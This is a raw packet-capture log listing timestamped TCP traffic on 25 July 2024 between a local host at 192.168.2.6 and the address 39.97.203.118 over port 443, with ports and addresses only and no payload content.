Jul 25, 2024 13:23:39.523374081 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:39.523381948 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.523416996 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:39.523633003 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.523673058 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.523689032 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:39.523694992 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.523719072 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:39.523967028 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.524039030 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:39.524045944 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.524123907 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.524172068 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:39.524173021 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:39.524179935 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.524254084 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.524430990 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.524450064 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:39.524456978 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.524497032 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:39.524799109 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.524966955 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.524971962 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:39.524977922 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.525052071 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:39.525147915 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.525218010 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:39.525365114 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.525434971 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:39.525538921 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.525614023 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:39.525736094 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.525772095 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.525813103 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:39.525813103 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:39.525820971 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.525881052 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:39.526369095 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.526448965 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:39.526550055 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.526667118 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:39.526789904 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.526827097 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.526839972 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:39.526845932 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.526859999 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.526884079 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:39.526884079 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:39.526892900 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.526933908 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:39.527343988 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.527504921 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.527524948 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:39.527530909 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.527556896 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:39.527731895 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.527765036 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.527795076 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:39.527801991 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.527846098 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:39.528354883 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.528460026 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:39.528469086 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.528525114 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:39.528781891 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.528821945 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.528853893 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.528865099 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:39.528865099 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:39.528871059 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.528898954 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:39.569458008 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:39.611296892 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.611447096 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.611485958 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.611495018 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:39.611495018 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:39.611507893 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.611552954 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:39.611731052 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.611772060 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.611777067 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:39.611783981 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.611820936 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.611852884 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.611862898 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:39.611862898 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:39.611871958 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.611927032 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:39.612051010 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.612162113 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:39.612169027 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.612304926 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.612351894 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:39.612351894 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:39.612360001 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.612518072 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.612565041 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.612581968 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:39.612587929 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.612598896 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.612601995 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:39.612679958 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:39.612687111 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.612731934 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:39.613245964 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.613296032 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.613296032 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:39.613306046 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.613348961 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.613356113 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:39.613356113 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:39.613363028 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.613518953 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:39.616146088 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.616220951 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:39.616226912 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.616244078 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.616323948 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:39.616323948 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:39.616331100 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.616467953 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.616508007 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.616509914 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:39.616517067 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.616559982 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.616579056 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:39.616585016 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.616601944 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:39.616630077 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:39.617017031 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.617064953 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.617109060 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.617111921 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:39.617111921 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:39.617119074 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.617156029 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.617194891 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:39.617194891 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:39.617202997 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.617248058 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.030169010 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.030205011 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.030247927 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.030284882 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.030306101 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.030339956 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.030380964 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.030443907 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.030451059 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.030502081 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.030585051 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.030610085 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.030637980 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.030643940 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.030664921 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.030698061 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.030972958 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.031004906 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.031030893 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.031035900 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.031061888 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.031083107 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.031375885 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.031413078 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.031433105 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.031438112 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.031446934 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.031461954 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.031482935 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.031486988 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.031804085 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.031838894 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.031858921 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.031864882 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.031888962 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.032166958 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.032224894 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.032231092 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.032242060 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.032272100 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.032278061 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.032300949 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.032305956 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.032346964 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.032352924 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.032362938 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.032398939 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.032406092 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.032957077 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.033008099 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.033015013 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.033020973 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.033050060 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.033051014 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.033097029 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.033102989 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.033113003 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.033138037 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.033143997 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.033163071 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.033169031 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.033202887 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.033207893 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.033217907 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.033256054 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.033771038 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.033811092 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.033823013 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.033828974 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.033848047 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.033858061 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.033891916 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.033900023 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.033906937 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.033943892 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.034450054 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.034499884 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.034499884 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.034511089 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.034547091 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.034573078 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.034615040 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.034622908 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.034630060 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.034660101 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.034663916 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.034708023 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.034713984 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.034727097 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.034758091 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.034765005 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.034794092 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.085169077 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.118200064 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.118325949 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.118325949 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.118364096 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.118402958 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.118442059 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.118447065 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.118457079 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.118474960 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.118508101 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.118514061 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.118539095 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.118545055 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.118556023 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.118913889 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.118963957 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.118974924 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.118982077 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.119009972 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.119021893 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.119071007 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.119077921 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.119088888 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.119118929 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.119127989 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.119136095 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.119151115 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.119185925 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.119190931 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.119232893 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.119649887 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.119692087 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.119710922 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.119718075 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.119739056 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.119765043 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.119891882 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.119935989 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.119952917 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.119960070 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.119985104 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.120002031 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.120038033 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.120090961 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.120098114 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.120109081 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.120132923 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.120151043 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.120151997 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.120162010 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.120198011 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.120198965 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.120206118 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.120243073 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.120976925 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.121032953 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.121036053 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.121046066 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.121078014 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.121097088 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.121097088 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.121107101 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.121148109 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.121149063 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.121156931 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.121193886 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.121221066 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.121257067 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.121268034 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.121273041 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.121299028 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.121318102 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.121783972 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.121824026 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.121840000 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.121845961 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.121872902 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.121891975 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.437494040 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.437536955 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.437654018 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.437670946 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.437686920 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.437721014 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.437727928 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.437750101 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.437838078 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.437860966 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.437891006 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.437896967 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.437922001 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.438033104 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.438079119 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.438086987 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.438124895 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.438241005 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.438276052 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.438308001 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.438313961 CEST	443	49719	39.97.203.118	192.168.2.6
